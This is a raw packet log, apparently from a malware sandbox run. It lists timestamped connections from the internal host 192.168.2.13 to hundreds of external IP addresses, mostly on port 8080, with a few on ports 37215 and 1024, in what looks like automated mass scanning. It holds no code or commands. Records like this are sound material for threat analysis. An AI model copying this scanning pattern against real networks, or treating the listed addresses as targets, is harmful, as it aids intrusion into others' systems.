Oct 29, 2024 20:52:38.081381083 CET	56351	8080	192.168.2.13	94.245.30.120
Oct 29, 2024 20:52:38.081382036 CET	8080	56351	85.123.168.214	192.168.2.13
Oct 29, 2024 20:52:38.081387043 CET	56351	8080	192.168.2.13	31.30.12.147
Oct 29, 2024 20:52:38.081391096 CET	8080	56351	85.222.97.150	192.168.2.13
Oct 29, 2024 20:52:38.081403017 CET	8080	56351	31.173.43.249	192.168.2.13
Oct 29, 2024 20:52:38.081408024 CET	8080	56351	95.150.77.101	192.168.2.13
Oct 29, 2024 20:52:38.081413031 CET	8080	56351	31.23.117.203	192.168.2.13
Oct 29, 2024 20:52:38.081413984 CET	56351	8080	192.168.2.13	95.142.155.220
Oct 29, 2024 20:52:38.081417084 CET	56351	8080	192.168.2.13	62.170.219.203
Oct 29, 2024 20:52:38.081418037 CET	8080	56351	94.18.134.23	192.168.2.13
Oct 29, 2024 20:52:38.081429005 CET	8080	56351	95.55.70.168	192.168.2.13
Oct 29, 2024 20:52:38.081433058 CET	56351	8080	192.168.2.13	85.123.168.214
Oct 29, 2024 20:52:38.081433058 CET	56351	8080	192.168.2.13	85.222.97.150
Oct 29, 2024 20:52:38.081435919 CET	8080	56351	85.233.144.198	192.168.2.13
Oct 29, 2024 20:52:38.081444979 CET	56351	8080	192.168.2.13	31.173.43.249
Oct 29, 2024 20:52:38.081446886 CET	56351	8080	192.168.2.13	31.23.117.203
Oct 29, 2024 20:52:38.081446886 CET	37215	51354	197.137.202.39	192.168.2.13
Oct 29, 2024 20:52:38.081450939 CET	56351	8080	192.168.2.13	95.150.77.101
Oct 29, 2024 20:52:38.081451893 CET	56351	8080	192.168.2.13	94.18.134.23
Oct 29, 2024 20:52:38.081454039 CET	8080	56351	85.182.224.54	192.168.2.13
Oct 29, 2024 20:52:38.081459045 CET	8080	56351	94.128.227.104	192.168.2.13
Oct 29, 2024 20:52:38.081464052 CET	8080	56351	31.51.122.238	192.168.2.13
Oct 29, 2024 20:52:38.081471920 CET	8080	56351	62.184.4.192	192.168.2.13
Oct 29, 2024 20:52:38.081474066 CET	8080	56351	94.39.25.169	192.168.2.13
Oct 29, 2024 20:52:38.081474066 CET	56351	8080	192.168.2.13	85.233.144.198
Oct 29, 2024 20:52:38.081475973 CET	8080	56351	85.10.221.14	192.168.2.13
Oct 29, 2024 20:52:38.081478119 CET	56351	8080	192.168.2.13	95.55.70.168
Oct 29, 2024 20:52:38.081485033 CET	51354	37215	192.168.2.13	197.137.202.39
Oct 29, 2024 20:52:38.081486940 CET	8080	56351	62.5.167.243	192.168.2.13
Oct 29, 2024 20:52:38.081490993 CET	56351	8080	192.168.2.13	62.97.37.136
Oct 29, 2024 20:52:38.081494093 CET	8080	56351	31.129.81.187	192.168.2.13
Oct 29, 2024 20:52:38.081495047 CET	56351	8080	192.168.2.13	94.128.227.104
Oct 29, 2024 20:52:38.081497908 CET	8080	56351	62.124.45.64	192.168.2.13
Oct 29, 2024 20:52:38.081497908 CET	56351	8080	192.168.2.13	31.51.122.238
Oct 29, 2024 20:52:38.081507921 CET	56351	8080	192.168.2.13	85.10.221.14
Oct 29, 2024 20:52:38.081509113 CET	8080	56351	31.197.233.11	192.168.2.13
Oct 29, 2024 20:52:38.081511021 CET	56351	8080	192.168.2.13	62.184.4.192
Oct 29, 2024 20:52:38.081521034 CET	8080	56351	94.45.197.120	192.168.2.13
Oct 29, 2024 20:52:38.081526041 CET	56351	8080	192.168.2.13	62.5.167.243
Oct 29, 2024 20:52:38.081528902 CET	56351	8080	192.168.2.13	85.182.224.54
Oct 29, 2024 20:52:38.081528902 CET	56351	8080	192.168.2.13	31.129.81.187
Oct 29, 2024 20:52:38.081528902 CET	56351	8080	192.168.2.13	94.39.25.169
Oct 29, 2024 20:52:38.081535101 CET	8080	56351	31.63.22.111	192.168.2.13
Oct 29, 2024 20:52:38.081547976 CET	8080	56351	95.217.104.35	192.168.2.13
Oct 29, 2024 20:52:38.081552029 CET	56351	8080	192.168.2.13	62.124.45.64
Oct 29, 2024 20:52:38.081552029 CET	56351	8080	192.168.2.13	31.197.233.11
Oct 29, 2024 20:52:38.081556082 CET	58300	37215	192.168.2.13	197.188.162.153
Oct 29, 2024 20:52:38.081562996 CET	56351	8080	192.168.2.13	94.45.197.120
Oct 29, 2024 20:52:38.081563950 CET	8080	56351	62.220.5.101	192.168.2.13
Oct 29, 2024 20:52:38.081571102 CET	8080	56351	62.49.255.222	192.168.2.13
Oct 29, 2024 20:52:38.081574917 CET	8080	56351	94.191.134.125	192.168.2.13
Oct 29, 2024 20:52:38.081578970 CET	8080	56351	85.51.15.208	192.168.2.13
Oct 29, 2024 20:52:38.081583977 CET	8080	56351	94.169.112.75	192.168.2.13
Oct 29, 2024 20:52:38.081583023 CET	56351	8080	192.168.2.13	31.63.22.111
Oct 29, 2024 20:52:38.081583977 CET	56351	8080	192.168.2.13	95.217.104.35
Oct 29, 2024 20:52:38.081590891 CET	8080	56351	62.11.29.157	192.168.2.13
Oct 29, 2024 20:52:38.081600904 CET	8080	56351	31.246.211.207	192.168.2.13
Oct 29, 2024 20:52:38.081605911 CET	8080	56351	31.113.169.240	192.168.2.13
Oct 29, 2024 20:52:38.081605911 CET	56351	8080	192.168.2.13	62.220.5.101
Oct 29, 2024 20:52:38.081609011 CET	56351	8080	192.168.2.13	62.49.255.222
Oct 29, 2024 20:52:38.081609011 CET	56351	8080	192.168.2.13	94.191.134.125
Oct 29, 2024 20:52:38.081612110 CET	8080	56351	85.13.35.201	192.168.2.13
Oct 29, 2024 20:52:38.081617117 CET	8080	56351	94.197.75.223	192.168.2.13
Oct 29, 2024 20:52:38.081620932 CET	8080	56351	62.204.182.203	192.168.2.13
Oct 29, 2024 20:52:38.081624985 CET	8080	56351	85.221.233.132	192.168.2.13
Oct 29, 2024 20:52:38.081626892 CET	56351	8080	192.168.2.13	62.11.29.157
Oct 29, 2024 20:52:38.081631899 CET	56351	8080	192.168.2.13	85.51.15.208
Oct 29, 2024 20:52:38.081631899 CET	56351	8080	192.168.2.13	94.169.112.75
Oct 29, 2024 20:52:38.081634998 CET	8080	56351	31.13.162.22	192.168.2.13
Oct 29, 2024 20:52:38.081640959 CET	8080	56351	85.157.76.35	192.168.2.13
Oct 29, 2024 20:52:38.081644058 CET	56351	8080	192.168.2.13	31.246.211.207
Oct 29, 2024 20:52:38.081645012 CET	8080	56351	95.199.191.49	192.168.2.13
Oct 29, 2024 20:52:38.081646919 CET	56351	8080	192.168.2.13	85.13.35.201
Oct 29, 2024 20:52:38.081648111 CET	56351	8080	192.168.2.13	62.204.182.203
Oct 29, 2024 20:52:38.081656933 CET	8080	56351	94.172.47.185	192.168.2.13
Oct 29, 2024 20:52:38.081660032 CET	56351	8080	192.168.2.13	94.197.75.223
Oct 29, 2024 20:52:38.081660032 CET	56351	8080	192.168.2.13	85.221.233.132
Oct 29, 2024 20:52:38.081675053 CET	8080	56351	95.181.140.207	192.168.2.13
Oct 29, 2024 20:52:38.081676006 CET	56351	8080	192.168.2.13	85.157.76.35
Oct 29, 2024 20:52:38.081681967 CET	8080	56351	31.106.195.138	192.168.2.13
Oct 29, 2024 20:52:38.081692934 CET	8080	56351	94.117.133.83	192.168.2.13
Oct 29, 2024 20:52:38.081696987 CET	8080	56351	62.227.103.207	192.168.2.13
Oct 29, 2024 20:52:38.081701040 CET	8080	56351	62.163.195.188	192.168.2.13
Oct 29, 2024 20:52:38.081707001 CET	8080	56351	62.164.37.229	192.168.2.13
Oct 29, 2024 20:52:38.081710100 CET	56351	8080	192.168.2.13	94.172.47.185
Oct 29, 2024 20:52:38.081712961 CET	56351	8080	192.168.2.13	31.113.169.240
Oct 29, 2024 20:52:38.081712961 CET	56351	8080	192.168.2.13	31.13.162.22
Oct 29, 2024 20:52:38.081712961 CET	56351	8080	192.168.2.13	95.199.191.49
Oct 29, 2024 20:52:38.081717968 CET	56351	8080	192.168.2.13	95.181.140.207
Oct 29, 2024 20:52:38.081717968 CET	56351	8080	192.168.2.13	94.117.133.83
Oct 29, 2024 20:52:38.081720114 CET	56351	8080	192.168.2.13	31.106.195.138
Oct 29, 2024 20:52:38.081722021 CET	8080	56351	85.19.198.148	192.168.2.13
Oct 29, 2024 20:52:38.081727982 CET	8080	56351	31.10.62.99	192.168.2.13
Oct 29, 2024 20:52:38.081737995 CET	8080	56351	62.237.97.67	192.168.2.13
Oct 29, 2024 20:52:38.081739902 CET	56351	8080	192.168.2.13	62.164.37.229
Oct 29, 2024 20:52:38.081742048 CET	56351	8080	192.168.2.13	62.163.195.188
Oct 29, 2024 20:52:38.081743002 CET	8080	56351	95.77.153.51	192.168.2.13
Oct 29, 2024 20:52:38.081748009 CET	8080	56351	85.200.192.98	192.168.2.13
Oct 29, 2024 20:52:38.081752062 CET	8080	56351	62.39.117.46	192.168.2.13
Oct 29, 2024 20:52:38.081753016 CET	56351	8080	192.168.2.13	62.227.103.207
Oct 29, 2024 20:52:38.081757069 CET	8080	56351	94.140.224.74	192.168.2.13
Oct 29, 2024 20:52:38.081764936 CET	8080	56351	31.84.204.220	192.168.2.13
Oct 29, 2024 20:52:38.081765890 CET	56351	8080	192.168.2.13	31.10.62.99
Oct 29, 2024 20:52:38.081767082 CET	56351	8080	192.168.2.13	85.19.198.148
Oct 29, 2024 20:52:38.081770897 CET	56351	8080	192.168.2.13	95.77.153.51
Oct 29, 2024 20:52:38.081778049 CET	8080	56351	94.210.7.242	192.168.2.13
Oct 29, 2024 20:52:38.081785917 CET	56351	8080	192.168.2.13	62.39.117.46
Oct 29, 2024 20:52:38.081789017 CET	56351	8080	192.168.2.13	85.200.192.98
Oct 29, 2024 20:52:38.081793070 CET	56351	8080	192.168.2.13	62.237.97.67
Oct 29, 2024 20:52:38.081794024 CET	8080	56351	62.95.223.199	192.168.2.13
Oct 29, 2024 20:52:38.081794024 CET	56351	8080	192.168.2.13	31.84.204.220
Oct 29, 2024 20:52:38.081794977 CET	56351	8080	192.168.2.13	94.140.224.74
Oct 29, 2024 20:52:38.081803083 CET	8080	56351	94.246.247.235	192.168.2.13
Oct 29, 2024 20:52:38.081813097 CET	8080	56351	62.30.49.216	192.168.2.13
Oct 29, 2024 20:52:38.081813097 CET	56351	8080	192.168.2.13	94.210.7.242
Oct 29, 2024 20:52:38.081818104 CET	8080	56351	95.22.181.229	192.168.2.13
Oct 29, 2024 20:52:38.081824064 CET	8080	56351	31.168.38.43	192.168.2.13
Oct 29, 2024 20:52:38.081826925 CET	8080	56351	31.42.2.234	192.168.2.13
Oct 29, 2024 20:52:38.081831932 CET	8080	56351	62.57.52.38	192.168.2.13
Oct 29, 2024 20:52:38.081836939 CET	8080	56351	31.172.14.40	192.168.2.13
Oct 29, 2024 20:52:38.081837893 CET	56351	8080	192.168.2.13	94.246.247.235
Oct 29, 2024 20:52:38.081839085 CET	56351	8080	192.168.2.13	62.95.223.199
Oct 29, 2024 20:52:38.081841946 CET	8080	56351	85.249.87.237	192.168.2.13
Oct 29, 2024 20:52:38.081846952 CET	8080	56351	94.176.73.219	192.168.2.13
Oct 29, 2024 20:52:38.081851959 CET	8080	56351	31.242.25.40	192.168.2.13
Oct 29, 2024 20:52:38.081852913 CET	56351	8080	192.168.2.13	31.42.2.234
Oct 29, 2024 20:52:38.081856012 CET	8080	56351	94.230.93.211	192.168.2.13
Oct 29, 2024 20:52:38.081856966 CET	56351	8080	192.168.2.13	62.30.49.216
Oct 29, 2024 20:52:38.081861019 CET	8080	56351	31.203.105.236	192.168.2.13
Oct 29, 2024 20:52:38.081864119 CET	56351	8080	192.168.2.13	31.168.38.43
Oct 29, 2024 20:52:38.081865072 CET	56351	8080	192.168.2.13	95.22.181.229
Oct 29, 2024 20:52:38.081875086 CET	56351	8080	192.168.2.13	62.57.52.38
Oct 29, 2024 20:52:38.081876040 CET	8080	56351	85.79.236.74	192.168.2.13
Oct 29, 2024 20:52:38.081882000 CET	56351	8080	192.168.2.13	31.172.14.40
Oct 29, 2024 20:52:38.081886053 CET	8080	56351	94.78.107.223	192.168.2.13
Oct 29, 2024 20:52:38.081887007 CET	56351	8080	192.168.2.13	94.176.73.219
Oct 29, 2024 20:52:38.081893921 CET	8080	56351	85.152.143.74	192.168.2.13
Oct 29, 2024 20:52:38.081893921 CET	56351	8080	192.168.2.13	85.249.87.237
Oct 29, 2024 20:52:38.081897974 CET	56351	8080	192.168.2.13	31.242.25.40
Oct 29, 2024 20:52:38.081899881 CET	8080	56351	85.103.79.6	192.168.2.13
Oct 29, 2024 20:52:38.081902027 CET	56351	8080	192.168.2.13	94.230.93.211
Oct 29, 2024 20:52:38.081907034 CET	56351	8080	192.168.2.13	31.203.105.236
Oct 29, 2024 20:52:38.081907988 CET	8080	56351	85.117.157.73	192.168.2.13
Oct 29, 2024 20:52:38.081914902 CET	56351	8080	192.168.2.13	94.78.107.223
Oct 29, 2024 20:52:38.081916094 CET	56351	8080	192.168.2.13	85.79.236.74
Oct 29, 2024 20:52:38.081923008 CET	8080	56351	94.160.64.104	192.168.2.13
Oct 29, 2024 20:52:38.081929922 CET	56351	8080	192.168.2.13	85.152.143.74
Oct 29, 2024 20:52:38.081932068 CET	8080	56351	62.107.205.159	192.168.2.13
Oct 29, 2024 20:52:38.081938028 CET	8080	56351	94.173.77.153	192.168.2.13
Oct 29, 2024 20:52:38.081942081 CET	8080	56351	31.228.145.72	192.168.2.13
Oct 29, 2024 20:52:38.081944942 CET	56351	8080	192.168.2.13	85.103.79.6
Oct 29, 2024 20:52:38.081945896 CET	8080	56351	95.183.149.157	192.168.2.13
Oct 29, 2024 20:52:38.081950903 CET	8080	56351	95.220.120.81	192.168.2.13
Oct 29, 2024 20:52:38.081953049 CET	56351	8080	192.168.2.13	85.117.157.73
Oct 29, 2024 20:52:38.081955910 CET	8080	56351	95.123.40.6	192.168.2.13
Oct 29, 2024 20:52:38.081964016 CET	8080	56351	62.154.221.213	192.168.2.13
Oct 29, 2024 20:52:38.081964970 CET	1024	41814	2.58.113.110	192.168.2.13
Oct 29, 2024 20:52:38.081969976 CET	8080	56351	94.188.176.173	192.168.2.13
Oct 29, 2024 20:52:38.081974030 CET	56351	8080	192.168.2.13	31.228.145.72
Oct 29, 2024 20:52:38.081978083 CET	56351	8080	192.168.2.13	62.107.205.159
Oct 29, 2024 20:52:38.081979990 CET	56351	8080	192.168.2.13	94.160.64.104
Oct 29, 2024 20:52:38.081979990 CET	56351	8080	192.168.2.13	95.183.149.157
Oct 29, 2024 20:52:38.081980944 CET	56351	8080	192.168.2.13	95.220.120.81
Oct 29, 2024 20:52:38.081985950 CET	56351	8080	192.168.2.13	94.173.77.153
Oct 29, 2024 20:52:38.081990004 CET	8080	56351	85.237.100.178	192.168.2.13
Oct 29, 2024 20:52:38.081996918 CET	56351	8080	192.168.2.13	95.123.40.6
Oct 29, 2024 20:52:38.082000017 CET	56351	8080	192.168.2.13	62.154.221.213
Oct 29, 2024 20:52:38.082005978 CET	8080	56351	62.164.199.137	192.168.2.13
Oct 29, 2024 20:52:38.082006931 CET	41814	1024	192.168.2.13	2.58.113.110
Oct 29, 2024 20:52:38.082011938 CET	8080	56351	31.150.65.152	192.168.2.13
Oct 29, 2024 20:52:38.082015991 CET	8080	56351	62.199.17.214	192.168.2.13
Oct 29, 2024 20:52:38.082020998 CET	8080	56351	94.3.148.126	192.168.2.13
Oct 29, 2024 20:52:38.082025051 CET	8080	56351	85.84.203.11	192.168.2.13
Oct 29, 2024 20:52:38.082026005 CET	56351	8080	192.168.2.13	85.237.100.178
Oct 29, 2024 20:52:38.082029104 CET	8080	56351	85.93.26.62	192.168.2.13
Oct 29, 2024 20:52:38.082036972 CET	8080	56351	31.163.211.245	192.168.2.13
Oct 29, 2024 20:52:38.082052946 CET	56351	8080	192.168.2.13	62.199.17.214
Oct 29, 2024 20:52:38.082053900 CET	56351	8080	192.168.2.13	94.188.176.173
Oct 29, 2024 20:52:38.082056046 CET	56351	8080	192.168.2.13	62.164.199.137
Oct 29, 2024 20:52:38.082062006 CET	56351	8080	192.168.2.13	85.84.203.11
Oct 29, 2024 20:52:38.082062960 CET	56351	8080	192.168.2.13	31.150.65.152
Oct 29, 2024 20:52:38.082062960 CET	56351	8080	192.168.2.13	94.3.148.126
Oct 29, 2024 20:52:38.082073927 CET	56351	8080	192.168.2.13	85.93.26.62
Oct 29, 2024 20:52:38.082082033 CET	8080	56351	94.46.171.86	192.168.2.13
Oct 29, 2024 20:52:38.082098007 CET	8080	56351	31.142.29.180	192.168.2.13
Oct 29, 2024 20:52:38.082103014 CET	8080	56351	95.255.158.215	192.168.2.13
Oct 29, 2024 20:52:38.082106113 CET	56351	8080	192.168.2.13	31.56.0.59
Oct 29, 2024 20:52:38.082108021 CET	8080	56351	94.93.176.95	192.168.2.13
Oct 29, 2024 20:52:38.082109928 CET	56351	8080	192.168.2.13	94.107.114.157
Oct 29, 2024 20:52:38.082113028 CET	56351	8080	192.168.2.13	31.163.211.245
Oct 29, 2024 20:52:38.082113028 CET	8080	56351	95.252.110.96	192.168.2.13
Oct 29, 2024 20:52:38.082118034 CET	8080	56351	95.51.5.70	192.168.2.13
Oct 29, 2024 20:52:38.082124949 CET	8080	56351	95.111.64.174	192.168.2.13
Oct 29, 2024 20:52:38.082124949 CET	56351	8080	192.168.2.13	94.46.171.86
Oct 29, 2024 20:52:38.082129002 CET	56351	8080	192.168.2.13	31.142.29.180
Oct 29, 2024 20:52:38.082130909 CET	8080	56351	31.233.41.19	192.168.2.13
Oct 29, 2024 20:52:38.082135916 CET	56351	8080	192.168.2.13	94.93.176.95
Oct 29, 2024 20:52:38.082137108 CET	56351	8080	192.168.2.13	95.255.158.215
Oct 29, 2024 20:52:38.082139969 CET	8080	56351	85.38.224.27	192.168.2.13
Oct 29, 2024 20:52:38.082154036 CET	8080	56351	95.213.198.59	192.168.2.13
Oct 29, 2024 20:52:38.082155943 CET	56351	8080	192.168.2.13	95.111.64.174
Oct 29, 2024 20:52:38.082158089 CET	8080	56351	95.241.60.205	192.168.2.13
Oct 29, 2024 20:52:38.082169056 CET	8080	56351	31.239.94.242	192.168.2.13
Oct 29, 2024 20:52:38.082174063 CET	8080	56351	31.61.45.50	192.168.2.13
Oct 29, 2024 20:52:38.082178116 CET	56351	8080	192.168.2.13	31.233.41.19
Oct 29, 2024 20:52:38.082178116 CET	56351	8080	192.168.2.13	85.38.224.27
Oct 29, 2024 20:52:38.082180023 CET	8080	56351	95.244.51.103	192.168.2.13
Oct 29, 2024 20:52:38.082189083 CET	56351	8080	192.168.2.13	95.252.110.96
Oct 29, 2024 20:52:38.082189083 CET	56351	8080	192.168.2.13	95.51.5.70
Oct 29, 2024 20:52:38.082195044 CET	8080	56351	85.147.42.8	192.168.2.13
Oct 29, 2024 20:52:38.082201004 CET	56351	8080	192.168.2.13	95.241.60.205
Oct 29, 2024 20:52:38.082201958 CET	8080	56351	85.111.109.130	192.168.2.13
Oct 29, 2024 20:52:38.082204103 CET	56351	8080	192.168.2.13	95.213.198.59
Oct 29, 2024 20:52:38.082209110 CET	8080	56351	62.123.42.23	192.168.2.13
Oct 29, 2024 20:52:38.082211018 CET	56351	8080	192.168.2.13	31.239.94.242
Oct 29, 2024 20:52:38.082212925 CET	56351	8080	192.168.2.13	95.244.51.103
Oct 29, 2024 20:52:38.082216024 CET	8080	56351	94.252.189.192	192.168.2.13
Oct 29, 2024 20:52:38.082218885 CET	56351	8080	192.168.2.13	31.61.45.50
Oct 29, 2024 20:52:38.082221031 CET	8080	56351	95.44.86.228	192.168.2.13
Oct 29, 2024 20:52:38.082226038 CET	8080	56351	94.250.54.221	192.168.2.13
Oct 29, 2024 20:52:38.082231998 CET	8080	56351	95.211.215.182	192.168.2.13
Oct 29, 2024 20:52:38.082236052 CET	8080	56351	85.152.126.117	192.168.2.13
Oct 29, 2024 20:52:38.082237959 CET	56351	8080	192.168.2.13	85.147.42.8
Oct 29, 2024 20:52:38.082237959 CET	56351	8080	192.168.2.13	85.111.109.130
Oct 29, 2024 20:52:38.082241058 CET	8080	56351	31.96.5.161	192.168.2.13
Oct 29, 2024 20:52:38.082246065 CET	56351	8080	192.168.2.13	62.123.42.23
Oct 29, 2024 20:52:38.082246065 CET	8080	56351	62.48.133.0	192.168.2.13
Oct 29, 2024 20:52:38.082251072 CET	8080	56351	95.247.81.2	192.168.2.13
Oct 29, 2024 20:52:38.082256079 CET	56351	8080	192.168.2.13	94.252.189.192
Oct 29, 2024 20:52:38.082256079 CET	56351	8080	192.168.2.13	94.250.54.221
Oct 29, 2024 20:52:38.082258940 CET	8080	56351	95.177.73.245	192.168.2.13
Oct 29, 2024 20:52:38.082261086 CET	56351	8080	192.168.2.13	95.44.86.228
Oct 29, 2024 20:52:38.082272053 CET	8080	56351	95.86.177.203	192.168.2.13
Oct 29, 2024 20:52:38.082276106 CET	8080	56351	94.234.70.144	192.168.2.13
Oct 29, 2024 20:52:38.082276106 CET	56351	8080	192.168.2.13	95.211.215.182
Oct 29, 2024 20:52:38.082277060 CET	56351	8080	192.168.2.13	85.152.126.117
Oct 29, 2024 20:52:38.082282066 CET	56351	8080	192.168.2.13	31.96.5.161
Oct 29, 2024 20:52:38.082284927 CET	56351	8080	192.168.2.13	62.48.133.0
Oct 29, 2024 20:52:38.082285881 CET	56351	8080	192.168.2.13	95.247.81.2
Oct 29, 2024 20:52:38.082288980 CET	8080	56351	85.212.255.49	192.168.2.13
Oct 29, 2024 20:52:38.082302094 CET	56351	8080	192.168.2.13	95.177.73.245
Oct 29, 2024 20:52:38.082304955 CET	56351	8080	192.168.2.13	95.86.177.203
Oct 29, 2024 20:52:38.082304955 CET	56351	8080	192.168.2.13	94.234.70.144
Oct 29, 2024 20:52:38.082312107 CET	56351	8080	192.168.2.13	85.212.255.49
Oct 29, 2024 20:52:38.082314968 CET	8080	56351	95.29.58.83	192.168.2.13
Oct 29, 2024 20:52:38.082318068 CET	56351	8080	192.168.2.13	62.30.106.63
Oct 29, 2024 20:52:38.082319021 CET	56351	8080	192.168.2.13	94.28.189.105
Oct 29, 2024 20:52:38.082324982 CET	8080	56351	85.192.224.237	192.168.2.13
Oct 29, 2024 20:52:38.082329035 CET	56351	8080	192.168.2.13	85.73.103.196
Oct 29, 2024 20:52:38.082329988 CET	8080	56351	31.252.74.246	192.168.2.13
Oct 29, 2024 20:52:38.082334995 CET	8080	56351	85.141.159.128	192.168.2.13
Oct 29, 2024 20:52:38.082339048 CET	8080	56351	85.208.172.198	192.168.2.13
Oct 29, 2024 20:52:38.082344055 CET	8080	56351	95.121.123.102	192.168.2.13
Oct 29, 2024 20:52:38.082348108 CET	8080	56351	31.15.127.79	192.168.2.13
Oct 29, 2024 20:52:38.082348108 CET	56351	8080	192.168.2.13	31.225.233.215
Oct 29, 2024 20:52:38.082351923 CET	8080	56351	85.243.174.63	192.168.2.13
Oct 29, 2024 20:52:38.082361937 CET	8080	56351	31.242.78.58	192.168.2.13
Oct 29, 2024 20:52:38.082365036 CET	56351	8080	192.168.2.13	31.252.74.246
Oct 29, 2024 20:52:38.082365990 CET	56351	8080	192.168.2.13	85.208.172.198
Oct 29, 2024 20:52:38.082380056 CET	56351	8080	192.168.2.13	95.121.123.102
Oct 29, 2024 20:52:38.082381964 CET	56351	8080	192.168.2.13	31.15.127.79
Oct 29, 2024 20:52:38.082381964 CET	56351	8080	192.168.2.13	85.141.159.128
Oct 29, 2024 20:52:38.082381964 CET	56351	8080	192.168.2.13	85.243.174.63
Oct 29, 2024 20:52:38.082384109 CET	56351	8080	192.168.2.13	85.192.224.237
Oct 29, 2024 20:52:38.082384109 CET	56351	8080	192.168.2.13	95.29.58.83
Oct 29, 2024 20:52:38.082401991 CET	56351	8080	192.168.2.13	31.242.78.58
Oct 29, 2024 20:52:38.082411051 CET	56351	8080	192.168.2.13	31.215.63.149
Oct 29, 2024 20:52:38.082436085 CET	56351	8080	192.168.2.13	31.245.195.71
Oct 29, 2024 20:52:38.082442045 CET	56351	8080	192.168.2.13	31.194.128.30
Oct 29, 2024 20:52:38.082453966 CET	56351	8080	192.168.2.13	85.3.144.169
Oct 29, 2024 20:52:38.082458019 CET	56351	8080	192.168.2.13	62.143.84.245
Oct 29, 2024 20:52:38.082472086 CET	56351	8080	192.168.2.13	62.89.152.60
Oct 29, 2024 20:52:38.082472086 CET	56351	8080	192.168.2.13	62.34.32.110
Oct 29, 2024 20:52:38.082477093 CET	56351	8080	192.168.2.13	94.207.195.203
Oct 29, 2024 20:52:38.082483053 CET	56351	8080	192.168.2.13	31.77.152.192
Oct 29, 2024 20:52:38.082500935 CET	56351	8080	192.168.2.13	95.31.199.105
Oct 29, 2024 20:52:38.082501888 CET	8080	56351	62.29.161.133	192.168.2.13
Oct 29, 2024 20:52:38.082505941 CET	56351	8080	192.168.2.13	94.141.113.200
Oct 29, 2024 20:52:38.082509041 CET	8080	56351	95.172.2.222	192.168.2.13
Oct 29, 2024 20:52:38.082519054 CET	56351	8080	192.168.2.13	85.77.99.119
Oct 29, 2024 20:52:38.082519054 CET	8080	56351	31.40.202.183	192.168.2.13
Oct 29, 2024 20:52:38.082526922 CET	56351	8080	192.168.2.13	31.227.102.202
Oct 29, 2024 20:52:38.082535028 CET	8080	56351	31.98.124.26	192.168.2.13
Oct 29, 2024 20:52:38.082540035 CET	8080	56351	94.149.45.2	192.168.2.13
Oct 29, 2024 20:52:38.082544088 CET	56351	8080	192.168.2.13	62.29.161.133
Oct 29, 2024 20:52:38.082544088 CET	8080	56351	31.187.35.173	192.168.2.13
Oct 29, 2024 20:52:38.082545996 CET	56351	8080	192.168.2.13	31.40.202.183
Oct 29, 2024 20:52:38.082546949 CET	56351	8080	192.168.2.13	95.172.2.222
Oct 29, 2024 20:52:38.082551956 CET	8080	56351	62.103.217.58	192.168.2.13
Oct 29, 2024 20:52:38.082556963 CET	8080	56351	31.140.89.234	192.168.2.13
Oct 29, 2024 20:52:38.082561970 CET	8080	56351	94.223.213.116	192.168.2.13
Oct 29, 2024 20:52:38.082566023 CET	8080	56351	62.67.119.46	192.168.2.13
Oct 29, 2024 20:52:38.082570076 CET	8080	56351	31.156.37.254	192.168.2.13
Oct 29, 2024 20:52:38.082575083 CET	56351	8080	192.168.2.13	94.149.45.2
Oct 29, 2024 20:52:38.082575083 CET	8080	56351	85.186.183.125	192.168.2.13
Oct 29, 2024 20:52:38.082581997 CET	8080	56351	62.4.215.43	192.168.2.13
Oct 29, 2024 20:52:38.082581997 CET	56351	8080	192.168.2.13	31.187.35.173
Oct 29, 2024 20:52:38.082583904 CET	56351	8080	192.168.2.13	31.98.124.26
Oct 29, 2024 20:52:38.082586050 CET	56351	8080	192.168.2.13	62.103.217.58
Oct 29, 2024 20:52:38.082586050 CET	56351	8080	192.168.2.13	31.140.89.234
Oct 29, 2024 20:52:38.082596064 CET	56351	8080	192.168.2.13	94.223.213.116
Oct 29, 2024 20:52:38.082597971 CET	56351	8080	192.168.2.13	85.186.183.125
Oct 29, 2024 20:52:38.082598925 CET	56351	8080	192.168.2.13	62.67.119.46
Oct 29, 2024 20:52:38.082598925 CET	56351	8080	192.168.2.13	31.156.37.254
Oct 29, 2024 20:52:38.082624912 CET	56351	8080	192.168.2.13	62.4.215.43
Oct 29, 2024 20:52:38.082676888 CET	8080	56351	31.38.170.68	192.168.2.13
Oct 29, 2024 20:52:38.082695961 CET	8080	56351	62.80.96.1	192.168.2.13
Oct 29, 2024 20:52:38.082700014 CET	56351	8080	192.168.2.13	95.72.81.132
Oct 29, 2024 20:52:38.082700014 CET	8080	56351	62.187.208.210	192.168.2.13
Oct 29, 2024 20:52:38.082704067 CET	56351	8080	192.168.2.13	31.139.208.179
Oct 29, 2024 20:52:38.082709074 CET	8080	56351	31.71.122.3	192.168.2.13
Oct 29, 2024 20:52:38.082710028 CET	56351	8080	192.168.2.13	62.47.129.81
Oct 29, 2024 20:52:38.082714081 CET	56351	8080	192.168.2.13	31.38.170.68
Oct 29, 2024 20:52:38.082715988 CET	56351	8080	192.168.2.13	85.12.183.49
Oct 29, 2024 20:52:38.082717896 CET	8080	56351	94.224.5.245	192.168.2.13
Oct 29, 2024 20:52:38.082730055 CET	8080	56351	62.152.210.68	192.168.2.13
Oct 29, 2024 20:52:38.082730055 CET	56351	8080	192.168.2.13	62.80.96.1
Oct 29, 2024 20:52:38.082731962 CET	56351	8080	192.168.2.13	31.70.17.198
Oct 29, 2024 20:52:38.082736015 CET	56351	8080	192.168.2.13	85.153.254.158
Oct 29, 2024 20:52:38.082736015 CET	56351	8080	192.168.2.13	62.187.208.210
Oct 29, 2024 20:52:38.082740068 CET	56351	8080	192.168.2.13	31.71.122.3
Oct 29, 2024 20:52:38.082743883 CET	56351	8080	192.168.2.13	94.224.5.245
Oct 29, 2024 20:52:38.082766056 CET	56351	8080	192.168.2.13	31.148.10.128
Oct 29, 2024 20:52:38.082767963 CET	56351	8080	192.168.2.13	62.152.210.68
Oct 29, 2024 20:52:38.082824945 CET	56351	8080	192.168.2.13	31.40.164.201
Oct 29, 2024 20:52:38.082839012 CET	56351	8080	192.168.2.13	31.173.88.192
Oct 29, 2024 20:52:38.082863092 CET	56351	8080	192.168.2.13	95.185.16.67
Oct 29, 2024 20:52:38.082865000 CET	56351	8080	192.168.2.13	62.86.95.107
Oct 29, 2024 20:52:38.082869053 CET	56351	8080	192.168.2.13	62.146.122.60
Oct 29, 2024 20:52:38.082869053 CET	56351	8080	192.168.2.13	94.151.42.16
Oct 29, 2024 20:52:38.082870960 CET	8080	56351	85.202.189.108	192.168.2.13
Oct 29, 2024 20:52:38.082875967 CET	8080	56351	94.195.10.159	192.168.2.13
Oct 29, 2024 20:52:38.082904100 CET	56351	8080	192.168.2.13	31.243.87.45
